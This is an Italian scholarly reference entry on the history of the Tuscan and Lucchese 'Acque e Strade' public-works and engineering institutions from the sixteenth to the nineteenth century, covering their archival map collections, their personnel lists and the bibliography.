La legge provinciale del 9 marzo 1848 ridisegnò la mappa amministrativa con l’istituzione dei nuovi Compartimenti di Lucca, Arezzo e Pistoia. Ad ogni Compartimento veniva assegnato un Ingegnere Ispettore, mentre dal 1° settembre 1850 vennero soppressi i Circondari e ciascuna provincia fu suddivisa in vari Distretti con in ciascuno operante un ingegnere. Un altro decreto del 27 dicembre 1849 stabilì che dal 1° gennaio 1850 il Dipartimento di Acque e Strade prendesse il nome di Direzione Generale dei lavori di Acque e Strade e delle Fabbriche Civili dello Stato, assorbendo gran parte delle funzioni prima appartenenti allo Scrittoio delle Regie Fabbriche: Manetti venne confermato direttore della nuova struttura, con il nuovo Consiglio d’Arte formato, oltre che dal Manetti, anche da Luigi Campani, Pasquale Poccianti, Lorenzo Nottolini (poi sostituito da Giuseppe Martelli ) e Camillo Lapi (Zangheri, a cura di, 1984; Giuntini, 1989, pp. 398-417; Bencivenni, 1990, pp. 431-447).

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834). La Soprintendenza venne istituita con motuproprio del 1° novembre 1825 e sostituì nelle funzioni la Camera di Soprintendenza Comunitativa.
In pratica, si volle attuare una piena “ridefinizione del ruolo del potere centrale nei confronti di quello periferico, a partire dal delicato settore dei lavori pubblici”. Il ruolo degli ingegneri venne compiutamente istituzionalizzato e posto sotto il totale controllo politico statale (Toccafondi, 1996, pp. 166-167).
Era presieduta da un “Consiglio degli Ingegneri” e costituita dal “Corpo degli Ispettori e Sotto-Ispettori di Compartimento e degli Ingegneri” dei 37 circondari nei quali venne suddiviso il territorio granducale, con il compito sia “di formare o discutere i progetti, e di sorvegliare l’esecuzione dei lavori di acque e strade e fabbriche per conto comunitativo”, e sia di vigilare e dirigere “il censimento dei fondi urbani edificati dopo la compilazione del catasto, le divisioni del dazio prediale corrispettivamente ai cangiamenti della proprietà fondiaria, e le volture estimali”. Spettavano poi a questo dipartimento la direzione dei lavorio ai Bagni di Montecatini, il controllo amministrativo del Consorzio di bonifica del Padule di Fucecchio e tutti gli affari relativi a soppressione e modifiche dei circondari delle comunità, accampionamento o radiazione dei campioni delle strade comunitative, progetti di istituzione o soppressione di cancellerie. Inoltre, il Soprintendente aveva l’incarico di proporre (unitamente al Provveditore della Camera di Soprintendenza Comunitativa) le nomine, sostituzioni, promozioni dei cancellieri comunitativi e dei loro aiuti (Cresti e Zangheri, 1978, pp. IX-X).
Con uno specifico Motuproprio, in quella stessa data, venivano appunto distinte le strade pubbliche del Granducato in Regie, Provinciali e Comunitative.
Il Corpo degli Ingegneri di Acque e Strade venne creato all’interno della Soprintendenza sempre nel 1825 e regolamentato, soprattutto per quanto riguarda il reclutamento, con il motuprorio del 1° novembre e con il regolamento applicativo del 10 dicembre 1826.
Il Corpo degli Ingegneri di Acque e Strade, sottraendo gli ingegneri alla varie Camere di Soprintendenza Comunitativa, nacque con l’obiettivo primario di creare un ruolo unico seppure distribuito uniformemente sul territorio granducale.
Nel 1826 fu pubblicato il primo Regolamento del Corpo con il quale l’ente venne strutturato al suo interno secondo una rigorosa gerarchia di tecnici che componevano l’organico: gli ispettori e sottoispettori che prestavano la loro opera presso le Camere di Soprintendenza Comunitativa dipendevano da un soprintendente; a loro volta, era da questi che dipendevano gli ingegneri di circondario e gli aiuti ingegneri operanti nelle diverse comunità. Il reclutamento era disciplinato da un apposito Consiglio degli Ingegneri (Toccafondi e Vivoli, 1993, p. 243; Rombai, 1991; Vichi, 1983).
La creazione del Corpo degli Ingegneri comportò un evidente miglioramento del livello professionale dei tecnici ivi inquadrati previa la dura selezione operata da Alessandro Manetti fra gli innumerevoli aspiranti. Il loro addestramento “a tavolino” e “in campagna” venne sempre curato con particolare attenzione, e ben presto al posto dell’esame di ammissione (previsto dal Regolamento del 1833) venne richiesto il requisito della laurea in Scienze Fisiche e Matematiche presa negli Studi di Pisa o Siena (ciò che avvenne nel 1838); successivamente (nel 1845), si richiese anche un ulteriore perfezionamento di durata biennale da conseguirsi presso l’Istituto di Belle Arti di Firenze.
L’elevato livello professionale raggiunto dagli operatori dipendenti del Corpo si rifletté anche su molti dei loro aiuti non stabilmente inquadrati nell’ente che furono in tal modo “abilitati alla professione di agrimensore, perito agrario, disegnatore, calcolatore, assistente ai lavori e istruiti alle matematiche” (così si esprimeva il successore del Manetti, Francesco Renard, nelle sue memorie conservate in ASF, Capirotti di Finanze, 15, ins. Febbraio 1860. Corpo degli Ingegneri in Toscana) (Rombai, 1987, p. 414).
In base allo stesso Motuproprio del 1825, il territorio del Granducato fu suddiviso in 37 Circondari d’Acque e Strade (un numero destinato ad aumentare col tempo, tanto che nel 1840 saranno 68), distinti in cinque diverse classi, a capo di ognuno dei quali era assegnato un ingegnere dell’organico del Corpo degli Ingegneri di Acque e Strade. Gli Ingegneri di Circondario erano al servizio delle comunità, cioè delle magistrature comunitative facenti parte del Circondario stesso; essi dipendevano però dagli Ingegneri Ispettori di Compartimento che risiedevano presso le Camere di Soprintendenza Comunitativa (che erano 4, con sede a Firenze, Pisa, Siena e Grosseto), organi gerarchicamente superiori alle comunità, di cui controllavano la gestione economica. Gli Ingegneri Ispettori erano responsabili della direzione dei lavori alle strade Regie, della vigilanza su quelle provinciali, nonché della supervisione dell’attività degli Ingegneri di Circondario del loro compartimento. Annualmente essi dovevano effettuare una visita al capoluogo del Circondario al fine di controllare i registri di contabilità e i materiali prodotti dai tecnici (relazioni, piante e perizie).
A titolo di esempio, il Compartimento di Grosseto era suddiviso in 3 Circondari: Grosseto (II classe), Arcidosso (IV classe) e Orbetello (V classe).
La figura dell’Ingegnere di Circondario sostituì in seno alle comunità i precedenti ruoli dei “Viari” e dei “Provveditori di Strade e Fabbriche” riprendendone, con maggiore preparazione tecnica, i compiti: vigilanza sulla costruzione e manutenzione delle strade, progetti, pareri tecnici e sorveglianza sui lavori agli edifici pubblici e sugli interventi ai corsi d’acqua. Gli Ingegneri di Circondario erano di nomina granducale e venivano proposti dal Consiglio degli Ingegneri. Anche le Comunità disponevano di una sia pur minima possibilità di controllo su di essi, con il trasmettere ai Provveditori delle Camere una relazione annuale sul lavoro svolto e, al termine del servizio, una “cartella di ben servito”.
I Circondari di Acque e Strade verranno soppressi nel 1849, con cessazione dell’Ufficio dal 31 agosto 1850, e i compiti passarono agli ingegneri comunali e distrettuali, questi ultimi istituiti con altro provvedimento dello stesso anno (Belcari, 2003, pp. 231-234).

Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849). Nel 1834 la Soprintendenza prese il nome di Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto, ottenendo maggiore autonomia rispetto al ministro competente che aveva presieduto la Soprintendenza.
Venne riorganizzata la sua struttura organica con la definizione di nuovi ingegneri operanti a livello provinciale, in sostituzione dei soppressi circondari (Toccafondi e Vivoli, 1993, pp. 196-243).
Fin dalla sua istituzione, la Direzione ebbe come direttore l’ingegnere Alessandro Manetti che mantenne l’incarico fino al 1849, passando poi alla nuova Direzione Generale (Cresti e Zangheri, 1978, pp. IX-X).
Come l’istituzione precedente, la Direzione aveva il compito di soprintendere a tutti i lavori ed affari riguardanti le strade (comprese le ferrovie, che si cominciano a costruire in quegli anni) e i corsi d’acqua del Granducato (Toccafondi e Vivoli, 1993, pp. 196-243).
Nel 1838, con un nuovo Regolamento, le competenze della Direzione vennero rafforzate ed ampliate, facendone l’unico organo di decisione e coordinamento dei lavori da eseguirsi a spese dello stato: a questa spettò infatti una funzione di controllo tecnico e finanziario sulle comunità, in collegamento, dal 1840, con la Soprintendenza Generale delle Comunità (istituita, con m.p. 3/12/1838 e 29/12/1840, con funzioni sempre accentratrici) (Toccafondi e Vivoli, 1993, pp. 196-243).

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862). Alla fine del 1849 la Direzione (con decreti del 9 e del 27 dicembre di quell’anno) venne distinta dall’ente per il catasto, e prese la denominazione di Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato. Da questo momento la Direzione Generale inglobò le competenze già spettanti all’antica istituzione dello Scrittoio delle Regie Fabbriche, e anche quelle del soppresso ente Commissario d’Acque e Strade della provincia Lucchese (ormai inglobata nel Granducato di Toscana).
Fin dal 1849 la Direzione Generale ebbe come direttore il solito Manetti ed era costituita da un Consiglio d’Arte di almeno tre membri con rappresentanti dei “più distinti Architetti ed Ingegneri Civili dello Stato”, con il “Commissario Regio per le Strade Ferrate” e i vertici della burocrazia tecnica dei vari compartimenti: il Consiglio, oltre che da Manetti, era formato da Luigi Campani già membro del Consiglio degli Ingegneri, da Pasquale Poccianti già Consultore delle Regie Fabbriche, da Lorenzo Nottolini già ingegnere e architetto della corte borbonica a Lucca (poi sostituito da Giuseppe Martelli) e dal segretario Camillo Lapi (Giuntini, 1989, p. 412).
Grazie a questo organo, lo Stato fu capace di “corrispondere alle proprie esigenze in materia di opere ed iniziative pubbliche attraverso gli strettissimi legami del centro con la base e la capillarità degli interventi e dei controlli” (Cresti e Zangheri, 1978, pp. IX-X).

Produzione cartografica

La ricca documentazione è conservata in ASF, fondo Piante della Direzione Generale delle Acque e Strade che riunisce gran parte della cartografia prodotta dall’ente, e Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade.
Molta documentazione è conservata pure nei tanti archivi comunali della Toscana.
Alle segnature 1497-1842 del fondo ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, si conservano le tante centinaia di piante singole o riunite in cartelle o rilegate in atlanti della Direzione Generale delle Acque e Strade che fanno riferimento anche al periodo precedente il 1825.
Pur essendo in larghissima misura derivate dalle mappe catastali, con i necessari aggiornamenti ed integrazioni, vi si trovano, infatti, anche carte del XVIII e dell’inizio del XIX secolo, e persino del XVII secolo: tutte figure evidentemente ereditate dalle antiche magistrature (Capitani di Parte con Ufficiali dei Fiumi e Congregazione di Ponti e Strade e Deputazione dell’Arno) che si occupavano di acque e strade, ma anche di confini e strutture di controllo territoriale.
Ad esempio, è il caso della raccolta di rappresentazioni di grande significato, come la Carta corografica del Valdarno di Pisa nello stato in cui si trovava al tempo della carta generale già fattane nel 1773 dal Dott. Pietro Ferroni matematico di S.A.R. disegnata da Vincenzo Della Croce nel 1781 (n. 1578), delle piante delle province vicariali della seconda metà del XVIII secolo (n. 1564/1-40) o precedenti (come la Pianta del Capitanato Vecchio e Nuovo di Livorno del 1719: n. 1595), e di circoscrizioni feudali, come la Pianta topografica e corografica del Marchesato del Bucine di Domenico Tiroli del 1772, il feudo di Terrarossa in Lunigiana e la Contea della Gherardesca di Gio. Giorgio Kindt del 1764 (n. 1506, n. 1568 e n. 1603 rispettivamente).
Ed è il caso di un gruppo di rappresentazioni relative soprattutto all’Arno nel Valdarno di Sopra e di Sotto, al circondario umido di Bientina, al fiume Cornia, al fiume Serchio, alla Valdichiana: tra cui spiccano le carte del corso dell’Arno dalla sorgente a Firenze e da Firenze al mare (n. 1500/1-2), derivate dalle figure di Ferdinando Morozzi del 1760 circa; la Pianta del corso dell’Arno dalla Valle dell’Inferno fino all’Ancisa di Felice Innocenzio Ramponi dell’inizio del XVIII secolo (n. 1500/3) e la settecentesca Pianta del letto e spalle del Fiume Arno nel Val d’Arno di Sopra dalla Val d’Inferno fino a S. Giovanni (n. 1500/4); la Pianta del corso del Serchio a Ripafratta del 1751 (n. 1501/1) e il Lago di Massaciuccoli con altre figure della pianura pisano-livornese (n. 1617/1-5); la Pianta del corso del Fiume Cornia fino al suo sbocco in padule o stagno di Piombino del 1757 (n. 1502/1); la Pianta della demolizione dei nuovi lavori fatti dalla Repubblica di Lucca alla strada del Monte di Gragno di Agostino Fortini del 1757 (n. 1503) e la Pianta che dimostra la corrosione che fa il Fiume Serchio nella ripa di Barga di S.M.I. e le radici del poggio di Cardoso di Lucca (n. 1601); un gruppo di figure settecentesche come la Pianta del Lago e Padule di Bientina colla Serezza serrata con altra Pianta della nuova e vecchia Serezza fatta l’anno MDCCXXIX e con la Dimostrazione della campagna attorno al Lago di Bientina tra i Fiumi Arno e Serchio (n. 1563/1-11); un gruppo di carte della svolta dell’Arno a Barbaricina del 1754 (n. 1567/1-4), delle Paludi che si ritrovano a Ponente della città di Livorno (n. 1592), e dell’area depressa della Pianura di Pisa (n. 1598-1599/1-4); e finalmente il manipolo di sei piante e livellazioni di Ferdinando Morozzi del maggio 1762 funzionali alla sistemazione di alcuni tributari dell’Arno nel Valdarno di Sopra (Torrente Dogana di Montevarchi, Torrente Ricasoli volgarmente detto Giglio, Torrente Quercio, Torrente Fiacchereto, Torrente detto La Villa o San Giovanni, con la bella Pianta dimostrativa di parte della sinistra pianura del Valdarno di Sopra da Levane fino a S. Giovanni datata 1763) (n. 1504/2-7).
Agli anni 1819-21, risalgono sei mappe con profili di livellazioni che ancora risultano indipendenti dai lavori catastali relative agli interventi di bonifica in Valdichiana eseguiti da Alessandro Manetti che firma infatti le figure (n. 1806).
Numerose sono pure le rappresentazioni settecentesche su temi i più vari: come le strade (tra cui si sceglie il gruppo di quattro figure del 1789-91 relative al territorio fra Colle Val d’Elsa e Volterra con il progetto di nuova strada rotabile: n. 1666-7/3-6), come le torri costiere e i centri fortificati anche interni (n. 1565/1-7) con il bel Piano, specificazione e stato delle Torri e Posti che sono situati sul lido del mare da Livorno fino a Torre Nuova aumentati ed armati in occasione della contumacia della città di Messina l’anno MDCCXLVIII (n. 1593), le Balze di San Giusto a Volterra del 1747 (n. 1566/1-2), oppure aree più vaste, tra cui la Planimetria di Porto Pisano, di Livorno e de’ loro territorj di Carlo Maria Mazzoni del 1769 (n. 1594). Chiaramente fuori posto la Pianta di tutta la linea di confine [tra il Granducato e il Principato di Piombino] dal termine del Dosso d’Arcione allo Scoglietto di Capezzuolo redatta da Alessandro Nini nel 1782 (n. 1576/1).
Interessante la Carta topografica fatta sull’osservazione del Sig. Colonnello Warren il dì 10 maggio 1759 per meglio regolare il corso dell’acque delle ferriere di Campiglia del 1759 (n. 1600).
Riguardo ai lavori straordinari svolti dagli ingegneri a fini cartografici, sappiamo che, con circolare granducale del 7 gennaio 1826, fu ordinato che tutti gli operatori raccogliessero – per trasmetterle all’Inghirami – “coll’esattezza possibilmente maggiore le notizie tutte che occorrere possano per rendere viepiù completa la Gran Carta della Toscana” allora in costruzione. Dovevano essere riportati su lucidi “l’indicazione esatta e distinta dei corsi delle Strade Regie, Provinciali e Comunitative” con precisazione delle “strade rotabili”, delle pedonali e delle “vie a bastina”, con i “ponti di materiale” e i “ponti di legno” e le “barche per il passaggio dei fiumi”, e con la cura “di designare per mezzo di una piccola croce tutte le chiese parrocchiali, e di indicarne quando occorra con tutta esattezza il nome respettivo”. Tra gli ingegneri che più si segnalarono oltre all’ispettore Luigi Campani, Antonio Lapi da Grosseto, S. Benini da Poppi, Carlo Niccoli da Castelfiorentino, A. Torracchi da Rosignano, Vincenzo Satanassi Casanuova da Galeata, C. Maestrelli da Sansepolcro, M. Zannetti da Prato, Francesco Meocci da Lucignano, Cosimo Naldini da Radda, G. B. Moretti da San Giovanni Valdarno, Lorenzo Pini da Pontassieve, Ferdinando Samminiatelli da San Casciano Val di Pesa, Graziano Capaccioli da Empoli, Marco Gamberai da Pistoia, Francesco Soletti da Asciano A. Caprilli da Colle Val d’Elsa, Ippolito Bordoni da Siena (Rombai, 1989, pp. 96-98).

Operatori

Operatori principali furono senz’altro Alessandro Manetti, direttore del Corpo degli Ingegneri dal 1834 al 1849 e della Direzione Generale dal 1849 al 1859 e autore del Regolamento del Corpo; e Francesco Renard, Direttore della Direzione Generale, e insieme anche dell’Ufficio del Bonificamento della Maremma, dal 1859 al 1862 (che tra le altre opere, nel 1867, su committenza del Comune di Grosseto, redasse il progetto definitivo del nuovo acquedotto cittadino alimentato dalle sorgenti di Monteleone).
Innumerevoli furono poi gli ingegneri componenti il Corpo. Il Repertorio del personale in servizio dal 1825 agli anni ‘50 (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, 1599) censisce – con via via le giubilazioni o messe a riposo, i licenziamenti e i decessi – ben 95 operatori, e precisamente in ordine alfabetico: Giovanni Allegretti, Fabio Andreini, Luigi Baglini, Gaspero Baglioni, Lorenzo Balocchi, Gaetano Becherucci, Sebastiano Benini, Uberto Berti, Roberto Bombicci, Tito Bombicci, Ippolito Bordoni, Ferdinando Bisori, Giovanni Riccardo De Baillou, Giovacchino Callai, Luigi Campani, Graziano Capaccioli, Pietro Carraresi, Giuseppe Casini, Ridolfo Castinelli, Luigi Collentani, Flaminio Chiesi, Mario Chietti, Luigi Chiostri, Angiolo Cianferoni, Cesare Cappelli, Giuseppe Caluri, Tommaso Cantagalli, Lodovico Cateni, Alfonso Daguerre, Francesco Del Greco, Angiolo Della Stufa, Alessandro Doveri, Ulisse Dragoni, Eugenio Fabre, Giuseppe Faldi, Angiolo Falorni, Pompeo Ferrai, Fortino Fortini, Rinaldo Fossi, Giuseppe Franchini, Giusepe Gabbrielli, Gaetano Galardi, Marco Gamberai, Giuliano Gelati, Antonio Giuliani, Crestino Giuliani, Francesco Guasti, Luigi Kindt, Antonio Lapi, Cammillo Lapi, Tommaso Lepori, Costante Maestrelli, Gio. Batta Martelli, Lorenzo Materassi, Francesco Mazzei, Loreto Mazzei, Lamberto Mei, Francesco Meocci, Giuseppe Michelacci, Gio. Batta Moretti, Filippo Morghen, Carlo Martelli, Baldassarre Marchi, Cosimo Naldini, Carlo Niccoli, Gustavo Occhini, Gaspero Pampaloni, Pellegrino Papini, Gaetano Pasquini, Filippo Passerini, Domenico Pazzi, Pietro Pecori, Federigo Perodi, Giuseppe Peselli, Stefano Piazzini, Carlo Pinelli, Lorenzo Pini, Pietro Pini, Michele Poli, Corrado Puccioni, Tito Puccioni, Stanislao Ragazzini, Tommaso Razzi, Raffaello Rimediotti, Odoardo Raffanini, Francesco Saletti, Ferdinando Samminiatelli, Vincenzo Satanassi Casanuova, Niccola Scrivere, Giovanni Tavanti, Antonio Torracchi, Ermete Ulacco, Paolo Veraci, Giuseppe Vestri e Maurizio Zannetti.
Biografie individuali o anche una biografia collettiva del Corpo richiederebbero una laboriosa ricerca nell’archivio specifico. Alcuni esempi sono tuttavia da segnalare in base a precisi lavori di ricerca: sappiamo che, a Pisa, Giuseppe Caluri, figlio di Giovanni dell’Ufficio Fiumi e Fossi, dopo l’apprendistato in quello stesso Ufficio, dal 1826 servì nel Corpo di Ingegneri di Acque e Strade, raggiungendo pure la carica di ispettore a Pisa nel 1836, con trasferimento dall’anno seguente ad Arezzo, e ritorno a Pisa nel 1839-40 come ispettore incaricato della vigilanza del Serchio e del Canale di Ripafratta; Ferdinando Chini fu a Pisa dal 1837; Ferdinando Sanminiatelli entrò nel Corpo nel 1827 (nel 1829 fu a Peccioli, nel 1830 a Pontedera, nel 1834-35 a Pieve Santo Stefano, nel 1838 a Montalcino, nel 1840 a Radicondoli, nel 1846 a Montevarchi, nel 1849 a Modigliana, e finalmente nel 1850-58 a Pisa (Giglia, 1997, pp. 89, 100-101 e 109-111).

Riferimenti bibliografici e archivistici

Amico, 1995; Azzari, 2001; Barsanti, 1987; Barsanti et Al., 1982; Barsanti, Bonelli Conenna e Rombai, 2001; Barsanti, Previti e Sbrilli, 1989; Benigni e de Gramatica, 1998; Bertocci, 1998; Bertocci, Bini e Martellacci, 1991; Bertuzzi e Vaccari, 1993; Bigazzi, Grazi e Giulianelli, 1985; Bigazzi, 1990; Breschi et Al., 1981; Caciagli e Castiglia, 2001; Cervellati, Cardellini e Maffei, 1988; Ciuffoletti e Rombai, a cura di, 1989; Gabellini, 1987; Giglia, 1997; Greppi, 1993; Guarducci e Rombai, 1994; Guarducci e Rombai, 1998; Mantovani, 1987; Masiero, 1990; Mazzini, 1923; Nanni, Pierulivo e Regoli, 1996; Orefice, Romby et Al., 1989; Pellegrini, 1984; Piccardi, 1999-2004; Piccardi, 2001; Raffo Maggini, 2001; Rombai, 1989; Rombai, 1990; Rombai, 1993; Rombai, 1995; Rombai, 1997; Rombai e Romby, 1994; Rombai e Sorelli, 1992; Rombai, Toccafondi e Vivoli, 1987; Romby, 1976; Toccafondi, 1996; Toccafondi e Vivoli, 1993; Tognarini, 1990; Vivoli, 1993; Vivoli, 1994. ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade.

Leonardo Rombai (Siena)

Acque e Strade (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Offizio sopra le Acque e Strade delle Sei miglia o Distretto (1523-1801)

Commissariato sopra le Acque e Strade (1801-14)

Soprintendenza (1814-18), Direzione (1818-21) e Commissariato (1821-1850)

Consiglio dei Ponti ed Argini (1806-1814)

Nello Stato lucchese fino all’inizio del XVIII secolo, tutti i regolamenti e le competenze riguardanti le Acque e le Strade, “anzi, tutta questa parte dell’amministrazione che nei governi imitati dalla Francia fa capo ai Ministri dei Lavori Pubblici”, era suddivisa in varie Deputazioni che possedevano quindi uguali pertinenze in riferimento ad una o ad un’altra zona territoriale. Successivamente, in seguito ai cambiamenti politici che avvennero a partire dal 1799 con l’instaurazione del primo reggimento democratico, sorto il 4 febbraio con l’appoggio dei francesi, e le susseguenti azioni di restaurazione di reggenze che si opponevano allo stesso, in poco più di 15 anni anche la struttura tecnico amministrativa di Lucca subì molteplici e repentini mutamenti che portarono ora all’accorpamento di diversi uffici – tendenza che trae spunto dall’impostazione che si era consolidata in Francia che aveva prodotto un accentramento di vari poteri sotto il diretto controllo di pochi dicasteri – ora al ripristino di specifiche magistrature che arrogavano a sé le competenze possedute in precedenza.

L’Offizio sopra le Acque e Strade delle Sei miglia o Distretto fu istituito dal Consiglio Generale lucchese con un decreto del 6 marzo 1523. La magistratura così denominata doveva rispondere a quelle esigenze e a quegli affari che fino ad allora erano stati in parte propri della Curia del Fondaco.
Quest’ultima infatti era un antico uffizio – chiamato così probabilmente da una fabbrica chiamata il Fondaco, dove in principio doveva avere la sede o i magazzini – che a Lucca provvedeva in generale all’annona, ai mercati, e al commercio. Dal Fondaco dipendevano in qualche modo anche la pulizia e il mantenimento delle strade, delle piazze, dei canali, dei ponti, e di tutte le infrastrutture che avevano a che fare con il commercio in senso lato. Trattandosi di tematiche e di campi che, pur avendo un denominatore comune nella finalità a cui miravano i vari intenti, si trovavano su piani diversi che avevano spesso richiesto in passato la nomina di magistrature straordinarie che fossero esperte negli argomenti che di volta in volta venivano affrontati, e considerato il fatto che negli ultimi anni “pare che succedesse un notevole peggioramento delle medesime [le strade], presso a poco come era avvenuto per quelle della città”, si giunse alla scorporazione dalla giurisdizione della Curia del Fondaco di tutte quelle mansioni che riguardavano le vie e le strade al di fuori della mura cittadine.
Con il decreto del 26 marzo 1523, il Consiglio Generale nominava tre cittadini che assurgevano provvisoriamente a “Provisores et Conservatores Stratarum, aggerum, et pontium nostri Comitatus”, ma questa Cura straordinaria venne in seguito sempre rinnovata e riformata (nel 1543, nel 1547) passando in ultimo ad avere una direzione composta da sei cittadini e con sempre più autorità e poteri. Fino al 1555 la deputazione aveva soltanto giurisdizione sulle strade – ed infatti era denominata solamente Offizio sopra le Strade delle Sei Miglia – ma successivamente le vennero arrogate anche le competenze riguardanti i fossi e le acque lungo le vie. Escludendo l’intervallo di tempo che va dal 19 giugno 1640 fino al 1661, periodo in cui fu creato uno speciale Offizio che prese in consegna la cura di tutte le acque che non rientravano specificamente all’interno di altre magistrature, l’istituzione delle Sei Miglia mantenne l’assetto che la vedeva attiva nel mantenimento della rete idrografica e viaria del Distretto lucchese (appunto nel raggio all’incirca di sei miglia intorno al capoluogo), e di conseguenza l’appellativo passò al più noto Offizio sopra le Acque e le Strade delle Sei Miglia (o Distretto). Tale disposizione rimase in vigore fino al 1801 quando fu riformato tutto l’assetto amministrativo dello Stato e i compiti passarono al nuovo Commissariato sopra le Acque e Strade.

Il periodo napoleonico, infatti, vede la nascita di nuovi enti che, avendo denominazione diversa, mantengono, però, delle competenze che risultano le stesse anche se con delle piccole differenze dal punto di vista dell’organizzazione amministrativa.
Con decreto del 24 dicembre 1806 fu istituito il Consiglio de’ Ponti ed Argini che rispecchiava in piccolo le attitudini del Ponts et Chaussés transalpino: era composto da un corpo di 10 ingegneri, un Direttore Generale ed un Ingegnere in capo. Nei circa dieci anni durante i quali resistette questo ordinamento, le due cariche più importanti furono sempre ricoperte da una personalità proveniente dall’entourage del governo francese, e da un referente illustre del territorio lucchese.
In questo periodo si segnala la figura dell’ingegner Giuseppe Duccini che operò sia nella funzione in capo che in veste dirigenziale istituzionale, che esercitò quando fu chiamato nel 1814 a guidare i Ponti ed Argini del Governo Provvisorio.
Dopo la parentesi francese, fu istituita la Soprintendenza sulle Acque e Strade, affidata nel 1818 al ministro per gli Affari Esteri e composta da sei ingegneri (mentre il Corpo degli Ingegneri veniva denominato Consiglio delle Acque, Strade e Macchie e aveva un organico di tre soli ingegneri), e subito dopo si ebbe la trasformazione in Direzione sotto il controllo della Reale Intima Segreteria di Gabinetto. L’ultimo cambiamento di titolazione della deputazione avviene nel 1821, quando in seguito ad un dissidio riguardo ai progetti di bonifica del Padule di Sesto fra Gaetano Giorgini e Lorenzo Nottolini, i due massimi responsabili di quel tempo nel campo della pianificazione territoriale, si arrivò alla creazione del Commissariato delle Acque e delle Strade che riunì definitivamente le autorità sui vari lavori pubblici del Ducato di Lucca.

Produzione cartografica

Il fondo relativo alla deputazione di Acque e Strade (in ASLu) raccoglie documenti a partire dal 1801, ma la sua istituzione avviene nel 1818 e rimane attiva fino al primo gennaio 1850. Mentre L’Offizio sopra le Acque e Strade delle Sei Miglia viene istituito con decreto del 6 marzo 1523, e cessa le sue attività all’inizio del 1801, quando le mansioni passarono al costituendo Commissariato sopra le Acque e Strade.
L’attività e la produzione della Direzione di Acque e Strade si presenta sotto forma di differenti tipologie di esecuzione con documenti cartografici, relazioni, campioni e registri relativi alle varie proprietà che si trovano all’interno dei vari Circondari in cui era suddiviso il territorio lucchese. Così, originariamente, per ogni area si aveva un “Plantario o Martilogio dove sono disegnate le terre sottoposte al ripartimento; un Notulario corrispondente, colla descrizione degli appezzamenti delle terre aggravate, nome dei possessori, e note o postille di variazioni e di passaggi di proprietà; un Campione o Ruolo dei proprietari di esse terre aggravate […]; un Libro di Cassa; Manuali di reparti, bozze ed altre diverse scritture” (Bongi, 1872-1888, vol. III, p. 287).
Successivamente, gran parte delle mappe allegate ai diversi Circondari sono state disaggregate e raccolte tutte assieme in filze specifiche che chiudono le serie del fondo Acque e Strade. Assieme al materiale prodotto nel periodo in cui l’ente esercitò direttamente le sue mansioni, sono contenuti anche documenti che erano stati realizzati da precedenti deputazioni, ma che a causa della loro attinenza con particolari progetti sono stati successivamente acquisiti dalla Direzione di Acque e Strade.
In totale vi sono 37 Circondari le cui carte sono contenute dalla filza n. 464 alla n. 705, mentre la raccolta delle mappe “che aveva formata l’Amministrazione delle Acque e Strade cavandone la parte maggiore dalle carte di diversi antichi uffizi repubblicani” chiude la consistenza del fondo dalla filza n. 706 alla n. 753 (Bongi, 1872-1888, vol. III, p. 330).
In particolare sono da segnalare:
Carta Topografica di tutte le terre soggette all’Imposta della Linea Rossa, Michele Flosi, Pubblico Perito e Giuseppe Natalini, Perito Ingegnere dell’Offizio sopra il Padule di Sesto, 1757 (ASLu, Acque e Strade, f. 625); Topografia di tutte le terre soggette all’imposizione detta della Linea Rossa, per il mantenimento del Canale Imperiale, Giovanni Iacopo Farnocchia, Perito Ingegnere dell’Offizio sopra il Padule di Sesto, 1788 (ASLu, Acque e Strade, f. 626); Carta Geografica dello Stato della Serenissima Repubblica di Lucca, descritta d’ordine dall’Ill.mo Offizio di Sanità da Fra Giuseppe M. Serantoni Agostiniano l’anno 1744, Giuseppe Maria Serantoni, 1744 (ASLu, Acque e Strade, f. 750; Carta Geografica dello Stato della Serenissima Repubblica di Lucca, copia della mappa precedente del Serantoni in formato minore, Michele Saverio Flosi (ASLu, Acque e Strade, f. 752).
Svariate mappe del Serchio e delle sue adiacenze sono contenute in ASLu, Offizio delle acque e strade delle Sei Miglia, f. 27.

Operatori

Giovan Francesco Gabbrielli (pubblico perito, 1718-1728); Giovan Lorenzo Martinelli (perito agrimensore, 1720-1724); Michele Flosi (pubblico perito, 1757); Giorgio Martinelli (pubblico perito, 1777-1780); Giovan Battista Filippo M. Giannetti (pubblico perito, 1780); Pier Giuseppe Maria Valentini (pubblico perito, 1780); Giovan Battista Innocenzo Carrara (perito ingegnere, 1795-1825); Domenico Barbantini (perito ingegnere, 1805); Giuseppe Duccini (1806-1814); Giovan Battista Martinelli (perito ingegnere, 1817-1838); Giovanni Iacopo Farnocchia (perito ingegnere, 1825); Nicodemo Morelli (perito ingegnere, 1828); Michele Cervelli (perito ingegnere, 1838).

Riferimenti bibliografici e archivistici

Azzari, 1993, pp. 161-193; Azzari, 2001, pp. 89-106; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bongi, 1872-1888; Caciagli, 1984; ASLu, Offizio delle acque e strade delle Sei Miglia.

Giulio Tarchi (Siena)